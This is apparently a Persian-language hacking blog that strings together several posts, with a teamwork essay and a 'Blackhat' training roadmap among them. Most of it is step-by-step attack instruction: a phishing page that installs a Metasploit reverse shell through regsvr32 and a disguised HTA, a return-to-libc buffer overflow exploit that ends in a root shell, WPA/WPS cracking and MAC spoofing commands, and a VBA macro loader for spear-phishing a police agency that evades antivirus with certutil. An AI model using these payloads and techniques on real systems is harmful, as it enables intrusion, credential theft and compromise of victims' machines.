سر آخر برنامه Arduino رو باز کنید و مدل برد رو بر روی Arduino Leonardo تو قسمت Tools قرار بدید دیوایس ATmega32u4 رو هم به سیستم خودتون وصل کنید و فایل arduino_payload.ino رو با برنامه arduino باز کنید و باز در گزینه Tools ایتم Burn Bootloader رو انتخاب و صبر کنید تا کارش تموم شه وقتی تموم شد دیوایس شما امادس برای وصل شدن به هر سیستم عامل ویندوزی…
http://arduino.ir/Main/ArduinoBoardMicro
https://www.arduino.cc/reference/en/language/functions/usb/keyboard/

خب در قدم اول ما پایلودی رو بر بستر فایل فرمت sct میسازیم که اگر ساختار پایلود ساخته شده در متاسپلویت رو ببینید در اکسپلویت web_delivery کد زیر رو مشاهده خواهید کرد

<?XML version=”1.0″?> <scriptlet> <registration progid=”ttEU3jlH” classid=”{94fc67df-921b-335e-a900-1485bbd66997}”> <script><![CDATA[ var r = new ActiveXObject(“WScript.Shell”).Run(“powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring(‘http://192.168.1.4:5151/aN17MOwQ&#8217;);”,0);]]> </script> </registration> </scriptlet> این فایل فرمت با classid مشخص شده خودش میتونه اسکریپت تعریف کنه که همونطور که میبینید تعریف هم کرده و Object رو به عنوان ActiveX تعریف کرده که مقدار Wscript.shell با خودش داره,همین مقدار موجب میشه اسکریپت در ادامه کار قدرت Execution پیدا کنه که در ادامه مشاهده میکنید همینطوره و Powershell صدا زده شده و پایلودی دانلود و به اجرا کشیده میشه اما نکته اینکار کجاس,در اینجا که این فایل فرمت SCT برای آنتی ویروس ها و دیوایس های SOC میتونه در حالت Whitelist قرار بگیره و تحدیدی حساب نشه مورد بعدی اینه که ما پایلود خودمون رو یک مرحله نهانتر میکنیم تا کمتر جلب توجه کنه,

اما سناریو ما برای حمله چیه؟همونطور که میدونید html یک پسرخاله داره تو خانواده خودش به اسم HTA و این فرمت HTA امکان ساختن Object رو برای ما بر بستر زبان VBScript فراهم میکنه این یعنی ما میتونیم در این فرمت پایلودی رو به اجرا در بیاریم چه جالب 🙂 اکی واسه اینکار من یک سایت رو دانلود میکنم

Open terminal
1.msfconsole -q -x “use multi/script/web_delivery;set target 3;set PAYLOAD windows/meterpreter/reverse_tcp;set SRVPORT 81;set LHOST (NoIP);set LPORT 5555;set ExitOnSession false;set InitialAutoRunScript sysinfo;set EnableStageEncoding true;exploit -j” [*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://######.ddns.net:81/r8jF2iSIMGCsOj7.sct scrobj.dll پایلود رو میسازیم بر بستر فرمت SCT در ایتم شماره یک

2.wget –no-check-certificate -O index.html -c -k -U “Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36” “https://www.microsoft.com/en-us/software-download/windows10ISO&#8221; ساختن وبسایت مورد نظر خودمون برای ساخت فیشینگ و گذاشتن پایلود درون سورس صفحه

3.leafpad index.html Ctrl+F > Search(</body>)

<script language=”VBScript”> Function var_func() Dim var_shell Set var_shell = CreateObject(“Wscript.Shell”) var_shell.run “regsvr32.exe /s /n /u /i:http://######.ddns.net:81/r8jF2iSIMGCsOj7.sct scrobj.dll”, 0, true End Function var_func self.close </script></body> Save & Close

در اینجا شما در سورس سایت دانلودی کلمه </body> رو جستجو کنید و بجاش اسکریپت VBScript رو جایگزین کنید و صفحه رو ذخیره کنید و ادامه کار رو پیش برید

4.mv index.html index.hta 5.mv index.hta /var/www/html/ && service apache2 start 6.ngrok http 80 خب ما اینجا فایل HTA رو به دایرکتوری وبسرور انتقال دادیم و سرویس آپاچی رو استارت کردیم و همینطور یک DNS از Ngrok گرفتیم خب حالا DNS گرفته شده از Ngrok رو به قربانی بدید بگید سایت ماکروسافته نگاه کن به محض باز شدن سایت برای قربانی شخص اگر سیستم عامل ویندوز باشه هک میشه 🙂

نکته بجای سایت مایکروسافتی که من گذاشتم میتونید سایت دیگه ای رو بزارید فرقی نداره فقط دقت کنید لینک ارسالی شما به قربانی باید این شکلی باشه

https://a48982be.ngrok.io/index.hta

بر هک کردن تارگت های شوت که توجه ای به Alert های مرورگر ندارند سناریو بسیارکار آمدی هستش و ویندوز Defender هم بایپس خواهد شد…
https://www.corelan.be/index.php

 

چرا که کتابخانه ها در هر زمان در سیستم عامل لینوکس وجود دارند,اما اینکار چطور میتونه مکانیزم هایی مثل ASLR و DEP رو دور بزنه؟ جواب خیلی سادس شما در زبان C تابعی به نام system() دارید که میتونه مقادیری رو بر روی خط فرمان اجرا کنه خب اگر ما چرخه ای رو بنویسیم که جریان اجرایی مارو به کتابخانه C و تابع system() ببره و مقادیر یا شلکد خودمون رو بدیم در دستان اون کتابخونه اینطوری میشه گفت شلکد ما بدون اینکه نیازی به زحمت خاصی به اجرا در خواهد اومد مکانیزم هایی مانند NX-Bit و DEP میتونن با این تکنیک دور بخورند به کد زیر دقت کنید

Open terminal
1.nano bof_stack.c Added

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf(“input path please: “); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf(“bzzzt (%p)\n”, ret); _exit(1); } printf(“got path %s\n”, buffer); } int main(int argc, char **argv) { getpath(); } Ctrl+x > y > Enter
2.gcc bof_stack.c -o bof_stack خب ما یک برنامه اینجا داریم که آسیب پذیری Stack BOF رو داره و میخواد که مقداره Return باید 0 باشه این هدف برنامه هست,حالا ما برای ساخت ROP خودمون نیاز داریم یک تکه کد که درونش یک تابع system() بکار رفته باشه و به خط فرمان Bash ارتباط بزنه,خب حالا باید آدرس دقیق مقدار “bin/sh” رو در کتابخونه های C واسه اینکار وارد دیباگر میشیم

3.strings -a -t x /lib/libc-2.11.2.so | grep “/bin/sh” 11f3bf /bin/sh
4.gdb bof_stack (gdb) r Starting program: /root/bof_stack
(gdb) info proc map process 1727
cmdline = ‘/root/bof_stack’
cwd = ‘/home/user’
exe = ‘/root/bof_stack’
Mapped address spaces:

Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /root/bof_stack
0x8049000 0x804a000 0x1000 0 /root/bof_stack
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso] 0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]

(gdb) x/s 0xb7e97000+0x11f3bf 0xb7fb63bf: “/bin/sh”
(gdb) p system $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

واووو نتیجه بعد از دستور strings… جالب شده چرا که مقدار 0xb7fb63bf در حافظه به دست اومده اکی بریم برای ساخت اکسپلویت

Open new tab
5.nano rop_exp.py Added

import struct padding = “0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJIIIIKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS” system = struct.pack(“I”, 0xb7ecffb0) return_after_system = “AAAA” bin_sh = struct.pack(“I”, 0xb7fb63bf) print padding + system + return_after_system + bin_sh Ctrl+x > y > Enter
6.(python rop_exp.py; cat) | bof_stack input path please: got path 0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJIIIIKKKKLLLLMMMMNNNNOOOO���QQQQRRRRSSSS���AAAA�c��
id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

میبینید که ما به کتابخونه با موفقیت برگشتیم و اکسپلویت کردیم…
https://en.wikipedia.org/wiki/Return-to-libc_attack

خب اولین سبک حمله اسمش هست حملات Handshake ویژگی این حمله اینه که همیشه بر روی هر نوع شبکه پیاده سازی میشه و قابل انجامه اما دوتا شرط داره این سبک,یک اینکه باید کاربری به وای فای قربانی وصل باشه دومین شرط اینکه این حمله به دلیل سبک تست رمزش میتونه از ۵ دقیقه زمان ببیره تا ۱ سال,اکی بریم سراغ روند پیاده سازیش

Open terminal
1.airmon-ng 2.airmon-ng check kill 3.airmon-ng start (Interface)
4.airodump-ng (Interface-Mode)
Wait Scan > Ctrl+C
5.airodump-ng –bssid (BSSID) -c (Channel#) -w (Handshake) (Interface-Mode)
Open new tab
6.aireplay-ng -0 5 -a (BSSID) -c (STATION) (Interface-Mode)

در خط 5 ما شبکه قربانی خودمون رو انتخاب کردیم و اطلاعاتش رو دادیم به airodump-ng تا برای ما فقط اون رو زیره نظر بگیره و اطلاعات شبکش رو ضبط کنه,در خط 6 ما میایم و به ما بین شبکه قربانی با گوشی یا هر دیوایس دیگه ای که به شبکه WiFi قربانی وصل هستش 5 تا نویز میدیم تا ارتباط اونها Restart بشه و ما handshake رو ضبط کنیم
Aircrack-ng
7.aircrack-ng -a(1=WEP/2=WPA) -b (BSSID) -w (Passlist).txt (Handshake).cap

Crunch
7.crunch (Min Len) (Max Len) “(Characters)” | aircrack-ng -a(1=WEP/2=WPA) (Handshake).cap -w – -e (ESSID)
Example
7.crunch 12 12 “1234567890” -t afshin@@@@@@ | aircrack-ng -a2 ‘/root/01.cap’ -w – -e WIFI-###### Cowpatty
7.cowpatty -f (Passlist).txt -r (Handshake).cap -s (ESSID)

Genpmk
7.genpmk -f (Passlist).txt -d (Handshake).cap -s (ESSID)

PassGen
7.git clone https://github.com/blmvxer/passgen.git 8.cd passgen && chmod +x passgen.py 9.python passgen.py -lU1 | aircrack-ng –bssid (BSSID) -w- (Handshake).cap

Hashcat
7.aircrack-ng (Handshake).cap -J wpacrack 8.hashcat -m 2500 wpacrack.hccap (Passlist).txt

در این مرحله من 6 سبک کرک کردن handshake بدست اومده از قربانی رو معرفی کردم در خط 7 با استفاده از Passlist و برنامه aircrack-ng فایل handshake رو میریم که کرک کنیم,در خط بعدیش با استفاده از تکنیک بروت فورس عملیات کرک رو انجام میدیم این روش نیاز به Passlist نداره,در قسمت cowpatty با استفاده از ابزارها و تکنیک های این چنینی که با سبک رنگین کمانی عملیات کرک رو پیش میبرند کار میکنیم و در آخر هم با استفاده از ساختن Passlist هوشمند و Aircrack-ng با ما کار رو پیش میبریم برای عملیات کرک,اکی بریم سراغ تکنیک بعدی اگر شبکه قربانی شما مکانیزم WPS رو باز داشت و Lock نبود میتونید با دستور زیر رمز WiFi رو به دست بیارید

Reaver
5.reaver -i (Interface-Mode) -b (BSSID) -e (ESSID) -S -c (Channel#) -vvv -K 1 Open new tab
6.pixiewps -e (PKE) -r (PKR) -s (E-Hash1) -z (E-Hash2) -a (AuthKey) -n (E-Nonce)

WPSpin
5.wget https://raw.githubusercontent.com/0x90/wps-scripts/master/wpspin.py;chmod +x wpspin.py 6.python WPSpin.py (LAST BSSID#6)
7.reaver -i (Interface-Mode) -b (BSSID) -e (ESSID) -c (Channel#) -p (PIN) -vv Bully
5.bully -b (BSSID) -c (Channel#) -B (Interface-Mode)

در اولین روش ما با استفاده از ابزار reaver هش های مورد نیاز و String مربوطه که به نام PKE هستش رو بدست میاریم و بعد در ادامه مقادیر بدست اومده رو میدیم به Pixiewps تا کد WPS رو برای ما تشخیص بده و رمز رو بدست بیاره,تکنیک بعدی با استفاده از اسکریپت WPSpin ما کد WPS رو از روی مک آدرس Access Point قربانی بدست و میدیم به ابزار Reaver تا رمز رو برای ما بدست بیاره,در تکنیک بعدی ما با استفاده از ابزار Bully کد WPS رو بصورت Bruteforce سعی میکنیم که بدست و در ادامه رمز کشف بشه,و اما بایپس کردن شبکه های مخفی و Mac-Filter دار

Aireplay-ng
5.airodump-ng -w (Handshake) –bssid (BSSID) -c (Channel#) (Interface-Mode)
Open new tab
6.aireplay-ng -0 1000 -a (BSSID) -c (STATION) (Interface-Mode)

Mdk3
5.mdk3 (Interface-Mode) a -a (BSSID)
Wait Scan > Ctrl+C
Open new tab
6.mdk3 (Interface-Mode) p -b l -c (Channel#) -t (BSSID)

شبکه های مخفی رو با استفاده از Aireplay-ng میتونیم بدست بیاریم با نویزی که ارسال میکنه,در تکنیک Mdk3 هم ما با استفاده از تکنیک Bruteforce اسم رو سعی میکنیم حدس بزنیم

Macchanger
5.netdiscover Copy (MAC TARGET)
7.ifconfig (Interface) down 8.macchanger -m (MAC TARGET) (Interface)
9.ifconfig (Interface) up 10.macchanger -e (Interface)

بعد از وارد شدن به شبکه اگر Mac-filter وضع کرده باشن یک اسکن میگیرید و Mac-Address یکی از اعضای شبکه رو میدزدید و ست میکنید بر روی شبکه خودتون به همین راحتی…

 

#Lammer Hackers
این هم ویدیو برسی و اثبات شیاد بودن این افراد که با دوز و کلک سعی میکنند مردم رو احمق و خودشون رو نخبه جا بزنند,کسی که به همه میگه لمر خودش یک لمر واقعیه این هم سندش…

#EQ Main
بد نیست کمی راجب هوش هیجانی و چالش هایی که در همکاری های گروهی وجود داره و علائم افراد کارآمد و افراد ناکار آمد هست اشاره کرد…

 

در این پست قصد دارم در راستای مجموعه نوشته هایم در حوزه موفقیت شخصی و حرفه ای به‌مرور، مجموعه‌ای از مطالب مرتبط با کارگروهی،فرصت‌ها و چالش‌های آن را بیان نمایم.قطعا وظیفه شرعی و حرفه ای ماست که هر یک به اندازه بضاعت خود،بعد از اینکه این آفت ها را از خود دور کردیم،تلاش نماییم تا در محدوده اختیارات یا محدوده کاری خود این معضلات کمرنگ تر و کمرنگ تر شوند.امیدوارم فرهنگ کار گروهی به شکل روزافزون در کشور ما بالا رود.

#آفت ۱: همکارانی که در عمل همکاری نمی‌کنند اما چنان ظاهرسازی می‌کنند که همکاری بسیاری با سایرین دارند و بخش عمده‌ای از کار به دوش آن‌ها است.

وجود برخی افراد در کار گروهی یک آفت به‌حساب می‌آید،افرادی که نشان می‌دهند نقش تأثیرگذاری در انجام کار گروهی دارند و حتی چنان وانمود می‌کنند که انگار 100% در پروژه درگیر هستند درحالی‌که کمترین کار را انجام می‌دهند و کمترین تعهد را به گروه و پروژه دارند.این ویژگی هم می‌تواند در اعضای گروه بروز نماید و هم در مدیریت گروه,قطعاً در صورت بروز این ویژگی در افراد گروه این وظیفه مدیریت گروه است که فرد خاطی را اصلاح نماید یا از همکاری گروهی حذف نماید.این فیلم کوتاه می‌تواند نمونه‌ای از وجود این افراد در کار گروهی باشد.

https://www.youtube.com/watch?v=WICq_Pj8ZUk

این ویژگی منفی چنانچه در رهبر یا سرپرست گروه بروز نماید باعث می‌شود که وی به‌جای رهبری نقش رئیس را به خود بگیرد که تصویر ذیل تفاوت‌های این دو مدل همکاری را مشخص می‌کند. چنانچه رهبر گروه تبدیل به رئیس گروه شود قطعاً ویژگی‌های منفی در گروه بروز خواهد نمود که در فرصت‌های آتی در مورد آن مطالبی را خواهم نوشت

توجه: البته میان این افراد و افرادی که از ابتدای پروژه به آن‌ها نقش کمی داده‌شده است اما به همان نقش اندک خود متعهد هستند، آن را با انجام می‌دهند و بیشتر از آن نیز وانمود نمی‌کند تفاوت بسیار است

#آفت ۲: همکاران یا رقیبانی که درک درستی از موفقیت شخصی و حرفه‌ای ندارند یا تلاشی برای آن نمی‌کنند اما نمی‌توانند شاهد موفقیت دیگران باشند.

در مورد این آفت که در شرکت‌ها، سازمان‌ها و نهادهای مختلف وجود دارد مثل بسیار کاربردی «مسابقه خرسواری» موضوع را بسیار شفاف می‌نماید,البته این آفت به برخی ویژگی های منفی بر می گردد که در ما ایرانی ها نیز کم نیست و در کتاب :«جامعه شناسی خودمانی» نوشته حسن نراقی مفصل به آن پرداخته شده است که بنده نیز خلاصه ای از این کتاب را در وبنوشتم منتشر کرده ام(لینک).

https://ketabnak.com/merger.php?dlid=9413

می‌دانید چرا در دنیا هیچ‌گاه «مسابقه خرسواری »برگزار نمی‌شود؟! پس از انجام تحقیقات جانورشناسان، مشخص شد که اسب‌ها در میدان مسابقه فقط در خط راست و مستقیم حرکت کرده و نه‌تنها مانع جلو رفتن و تاختن سایر اسب‌ها به جلو نمی‌شوند، بلکه هرگاه سوارکار خودشان یا سایر اسب‌ها به زمین بیفتد تا حد امکان که بتوانند آن سوارکار سقوط کرده را لگد نمی‌کنند؛ اما خرها وقتی در خط مسابقه قرار می‌گیرند، پس از استارت، اصلاً توجهی به جلو و ادامه مسیر مسابقه به‌صورت مستقیم نداشته و فقط به خر رقیب که در جناح چپ و یا راستش قرار دارد، پرداخته و تمام تمرکزش، ممانعت از کار دیگران است! یعنی تنها هدفشان این است که مانع رسیدن خر دیگر به خط پایان شوند! حتی به این قیمت که خودشان به خط پایان نرسند. امروزه از این موضوع در علم مدیریت بسیار استفاده می‌شود و بدین معناست که افراد ناتوان که می‌دانند خود به خط پایان نمی‌رسند، با سنگ‌اندازی و ایجاد مشکلات و چوب لای چرخ دیگران گذاشتن، به بهانه مختلف، مانع رسیدن دیگران به اهدافشان می‌شوند و در اصطلاح میگویند: «فلانی(REZA %98 Lammer)، مسابقه خرسواری راه انداخته است».

#Real Cyber Attack Senarios
در این پست یک سناریو صفر تا صد چگونگی حملات سایبری که تحت عنوان #APTs معرفی و تحلیل خواهیم کرد راجب چگونگی دور زدن مکانیزم های چالشی پیش رو هم نکاتی بیان خواهد شد.

خب فرض کنید ما میخواهیم به مجموعه هایی در کشور قربانی خود مورد حمله قرار بدیم من این سناریو رو طبق تحلیلی که از 38 APT رصد شده و تحلیل شده توسط شرکت FireEye بیان و تحلیل میکنم البته به زبان ساده.

نکته ای که در 90% حملات APTs دیده میشه اینه که بعد از طی پروسه Local Recon Social Engineering تیم اطلاعات کافی خواهد داشت تا سناریو خودش رو در قالب Spear Email Phishing پیاده سازی کنه منظور من به زبان ساده اینه که تیم سایبری با استفاده از جمع آوری اطلاعات میدانی از قربانی اطلاعات مورد نیاز تیم حمله کننده رو بدست میاره این اطلاعات از آدرس ایمیل هست تا Policy های اطلاعاتی اون مجموعه که خب این مرحله مربوط به هکرها معمولا نیست و نیروهای میدانی اطلاعاتی وظیفه این موضوع رو بر عهده خواهند داشت بعد از این مرحله تیم سایبری بر اساس اطلاعات آماری از رصدهای تیم FireEye اغلب سناریویی بر آدرس ایمیل مجموعه قربانی ترتیب میبینند برای اینکه ذهنیتی پیدا کنید مثالی میزنم فرض کنید پلیس سایبری یک کشوری که ارتباط مردمی از طریقه ایمیل برای مردم خودش سرویس دهی میکنه تیم سایبری متوجه Policy این قسمت از مجموعه پلیس سایبری شدن و سناریو بر آن شده که به عنوان گزارش رخداد یک حمله هکری به سرور وبسایت ما ایمیل رو محتوا میدهد و مضمون ایمیل حاوی یک فایل Microsoft Word Documents هستش که بصورت Attach شده در ایمیل ارسالی فرستاده میشه و نکته ای در این غایب هست که جلوتر میپردازم خب پس مضمون ایمیل بر این شده که بله سایت من هک شده بدادم برس پلیس سایبری اون کشور 🙂 و فایلی که گفتم از چه نوعی هست برای گزارش دهی میزان خسارت و مثلا لاگ های سرور و اطلاعات دیگه فرستاده شده که مثلا داریم بشون کمک میکنیم :))

اکی تا آنجای کار ما سناریو Social Engineering خودمون رو بر پایه Spear Email Phishing بنا کردیم حالا همونطور که خودتون هم حدس زدید میریم که پایلود خودمون رو بر پایه نوشتن یک Macro برای Document Microsoft Word خودمون بنا کنیم برای اینکار ما باید برنامه های Decetions رو در نظر داشته باشیم مثل دیوایس های SOC و نرم افزارهای AVs که میتونن پایلود مارو رصد کنن برای اینکه اینطور نشه و ما این مکانیزم هارو دور بزنیم میایم و از فایلی بر روی ویندوز استفاده میکنیم که راجب این فایل که کارش چیه کامل توضیح میدم اما قبلش بگم که ما از کجا فهمیدیم که سیستم عامل پلیس سایبری اون کشور چیه تیم اطلاعات میدانی یکبار برای جمع آوری اطلاعات تماس Fake با پشتیبانی برقرار کرده و تا مرحله کمک رسانی به کاربر باهاشون پیش رفته و از روی اسم نرم افزاری که بر روی سرویس این پلیس سایبری اون کشور بوده متوجه شده این نرم افزار فقط نسخه ویندوزی داره خب اکی بریم سراغ توضیح فایلی بنام certutil.exe در ویندوز,

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

نصب Certificate ها از طریق خط فرمان Command-line ترتیب داده شده اما نکته جالبی که در این فایل وجود داره اینه که این فایل میتونه Encode های Base64 رو Decode کنه و فایل فرمت txt رو هم پشتیبانی و میخونه همین دو نکته میتونه باعث بشه منه مهاجم Macro رو برای فایل Word خودم تعریف کنیم که به محض باز شدن فایل Word با زدن گزینه Enable Content توسط قربانی Macro من که به زبان VBA نوشته شده اجرا بشه پس ما تا اینجا پیش رفتیم که میتونیم یک Macro برای فایل Word تعریف کنیم و پایلودی رو به زبان VBA بنویسیم خب میریم سراغ پایلود به زبان VBA در برنامه Word به قسمت Macro ها برید و کد زیر رو Paste کنید

Sub ObjRun(CommandMoveTo As String, CopyTo01 As String, CopyTo02 As String, CopyTo02 As String, cermoveComand As String, AllUsersProfile As String)

 

Dim certutilComand As String

cermoveComand = “cmd.exe /c copy %windir%\\system32\\certutil.exe %temp%tcm.tmp”

certutilComand = “cmd.exe /c %temp%tcm.tmp -decode ”

Set objws = CreateObject(“Wscript.Shell”)

objws.Run CommandMoveTo, 0, True

objws.Run cermoveComand, 0, True

objws.Run certutilComand & AllUsersProfile & “padre1.txt ” & CopyTo01, 0, True

objws.Run certutilComand & AllUsersProfile & “padre2.txt ” & CopyTo02, 0, True

objws.Run certutilComand & AllUsersProfile & “padre3.txt ” & CopyTo03, 0, True

objws.Run “esentutl.exe /y ” & CopyTo01 & ” /d ” & AllUsersProfile & “GUP.exe” & ” /o”, 0, True

objws.Run “esentutl.exe /y ” & CopyTo02 & ” /d ” & AllUsersProfile & “libcurl.dll” & ” /o”, 0, True

objws.Run AllUsersProfile & “GUP” & “.e” & “xe”, 0, False

objws.Run “cmd.exe /c del /f /s /q ” & AllUsersProfile & “*.txt”, 0, False

End Sub

 

(~0)

در خط اول شش متغییر از نوع String تعریف شده,در ادامه یک Dim تعریف شده از نوع String و باز در ادامه یعنی خط سوم میبینید که فایل certutil.exe رو در پوشه %temp% کپی میکنه و اسم و فرمت اون رو به tcm.tmp تغییر میده در خط بعد به همین فایل certtutil.exe که به نام tcm.tmp تغییر کرده پارامتر -decode رو ارسال میکنیم همونطور که گفتم مقادیر base64 شده رو میتونه decode کنه زمانی که macro اجرا میشه فایلی با فرمت pem خروجی میده و از این فایل با decode شدن توسط فایل certutil.exe سه فایل txt خروجی میده با نام های padre1-padre2-padre3 که این سه فایل در خط های ۹ تا ۱۱ به پوشه AllUsersProfile انتقال داده میشه که همین سه فایل خروجی مقادیر خودشون هم به base64 کد شده و باز با استفاده از فایل certutil دیکد و به خروجی های دیگه ای انتقال داده خواهد شد

C:\Windows\System32\cmd.exe” /c certutil -decode C:\ProgramData\padre1.txt C:\ProgramData\\GUP.txt C:\Windows\System32\cmd.exe” /c certutil -decode C:\ProgramData\padre2.txt C:\ProgramData\\libcurl.txt C:\Windows\System32\cmd.exe” /c certutil -decode C:\ProgramData\padre3.txt C:\ProgramData\\3F2E3AB9 همونطور که در تصویر میبینید مقادیر این سه فایل padre به سه فایل دیگه که یکی بدون فرمت تعیین شده تبدیل خواهد شد,اما خوب ما در مرحله بعدی نیاز داریم که فایل GUP.txt و libcurl.txt رو به فرمت های exe و dll تغییر بدیم چرا که فایل اول یک Generic Updater برای برنامه Notepad++ هستش و با Signature همین برنامه و فایل libcurl.dll یک لودر مخرب DLL هستش برای همچین کاری دستورات زیر رو ترتیب میدیم اما یک نکته فایل دیگری در ویندوز که قدرت Extensible Storage Engine رو داره استفاده میکنیم با نام esentutil.exe که در لینک زیر میتونید مشاهده کنید

https://support.microsoft.com/en-ae/help/930832/support-for-the-esentutl-exe-tool-on-a-windows-server-2003-certificati

خب حالا ما یک فایل GUP.exe داریم یک لودر DLL داریم با نام libcurl.dll و یک فایل 3F2E3AB9 داریم که شلکد Encrypt شده درونش قرار داره با استفاده از libcurl.dll فایل 3F2E3AB9 رو decrypts میکنیم و در همون پوشه AllUsersProfile خروجی میدیم برای دیکد فایل شلکد که به تکنیک زد دیباگ ntdll_NtSetInformationThread مجهز هست

تمام این Out of band زدن ها برای اینه که ما بتونیم مکانیزم های Detections رو دور بزنیم و شلکدی رو بدون شناسایی شدن اجرا کنیم و به محض Enable Content فایل Word که به پلیس سایبری اون کشور فرستاده میشه دسترسی نهایتا تا 1 min بعدش برای ما فرستاده بشه امیدوارم از این سبک از تاکتیک های عملیاتی خوشتون امده باشه وقتشه کمی همه هوشیار بشوند:)

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/

#Blackhat #Roadmap
نقشه راه امنیت سایبری و مراحل تکامل یک شخص برای رسیدن به جایگاه مهندسی امنیت که قدرت نفوذ به انواع دیوایس ها و دور زدن مکانیزم های دفاعی را دارا خواهد بود,همچنین در بحث پیشگیری و تحلیل حمله هم میتوان کارآمدی خوبی را شاهد بود,این نقشه راه بر اساس استانداردهای جهانی تدوین شده است.

آشنایی با خط فرمان های سیستم عامل ها.
1.Command-lines *
2.LPIC 1 and 2 *

آشنایی با مفاهیم اولیه هک,شبکه و روش های ردیابی هکر.
3.Network Plus *
4.CEH and CHFI *

آشنایی با زبان ها و آسیب پذیری های تحت وب.
5.HTML5 Syntax and JavaScript Programming *
6.PHP/ASP Syntax and SQL Programming *
7.Basic Web Hacking *
8.Advanced Web Attacks and Exploitation *

طریقه جمع آوری اطلاعات از سطح اینترنت و شبکه های اجتماعی.
9.OSINT Techniques and Methodology *

آشنایی با اسکریپت نویسی,ابزار های کالی و فریمورک های C&C.
10.Shell Scripting *
11.Penetration Testing with Kali Linux *
12.Basic Infrastructure Hacking *
13.Metasploit Mastery *

آشنایی کامل با کتابخانه ها و تکنیک های مورد استفاده در پایتون.
14.Python Hacker Bootcamp: Zero to Hero *

زبان های مورد نیاز برای تکنیک های سطح بالا حمله به سیستم عامل ها.
15.ActionScript and VBScript Programming *

آشنایی با Post Exploitation ها و Persistence ها و غیره.
16.Pentesting Enterprise Infrastructure *

تکنیک های ارتقاء سطح دسترسی و روشهای Pivoting.
17.Advanced Infrastructure Hacking *

تکنیک های مهندسی اجتماعی و سوءاستفاده از دیوایس های سخت افزاری.
18.Social Engineering and Physical Security *

تکنیک های نفوذ به شبکه های بیسیم و انواع حملات این فضاء.
19.Advanced Wireless Exploitation *

تکنیک های سرشماری شبکه و شناسایی سرویس ها.
20.Adaptive Penetration Testing *

زبان پاورشل برای عملیات های پسا نفوذ و روش های بایپس AVs.
21.Adversary Tactics: PowerShell *

آشنایی با نرم افزارهای گیرنده و فرستنده رادیویی.
22.Software Defined Radio تست نفوذ بر دیوایس های اینترنت اشیاء و پروتکل های مورد استفاده.
23.Practical IoT Hacking برنامه نویسی زبان C/C++ و زبان اسمبلی که نیاز مباحث زیرین میباشد.
24.Assembly and C/C++ Programming *

تکنیک های حمله از بستر دیوایس های فیزیکی و الکترونیکی.
25.Physical Penetration & Electronic Access Control Hacking اکسپلویت نویسی سیستم های کنترولر صنعتی مانند SCADA و دیوایس های IoT.
26.Assessing and Exploiting Control Systems and IoT آشنایی با مهندسی معکوس و تحلیل بدافزار و ابزارهای مورد نیاز.
27.Malware Analysis Crash Course *

تکنیک های فازینگ برای پیدا کردن آسیب پذیری در حالت های مختلف.
28.Practical Vulnerability Discovery with Fuzzing *

آموزش کامل شلکد نویسی برای انواع پردازنده و تکنیک های مبهم سازی.
29.The Shellcode Lab *

اکسپلویت نویسی برای سیستم عامل های لینوکسی و تکنیک های پسا نفو‌ذ.
30.Tactical Exploitation: Attacking Unix *

تکنیک های اکسپلوت کردن سرویس های فضای ابری و Azure.
31.AWS & Azure Exploitation آشنایی با API سیستم عامل ویندوز و تکنیک های تزریق کد به مموری.
32.In-depth code injection for attackers *

تکنیک های دور زدن مکانیزم هایی مانند IDS,IPS,SIEMs.
33.Dark Side Ops-Custom Penetration Testing *

تکنیک های نفوذ به دیوایس های سخت افزاری و فریمورک های نرم افزاری.
34.Hacking Firmware & Hardware *

آشنایی با مفاهیم لازمه برای حملات کردن از قبیل کار با Windbg.
35.Windows Kernel Primer *

تکنیک های حمله به کرنل و دور زدن مکانیزم های دفاعی آن.
36.Windows Kernel Rootkit Techniques *

تکنیک های مهندسی معکوس برنامه های NET. و دور زدن مکانیزم های Detections.
37.Dark Side Ops 2-Adversary Simulation *

آشنایی با ساختار پردازنده های ARM و چالش های اکسپلویت نویسی آن.
38.ARM Iot Exploit Laboratory: Intro *

تکنیک های اکسپلویت نویسی و مهندسی معکوس سیستم عامل های iOS و Android.
39.Offensive Mobile Exploitation & Reversing *

تکنیک های سطح بالا در خودکار سازی عملیات های حمله یا مکانیزم های دفاعی.
40.The Security Automation Lab *

#Help U

:warning:گزینه های ستاره دار مراحل واجب هستند و دیگر گزینه ها ایتم های سلیقه ای هستند.

:anger:برای اطلاع از زیر مجموعه سرفصل های ذکر شده کافیست نام سرفصل را همراه با کلمه Blackhat Training در گوگل بکار ببرید در سایت Blackhat زیر مجموعه های مربوطه را خواهید دید,

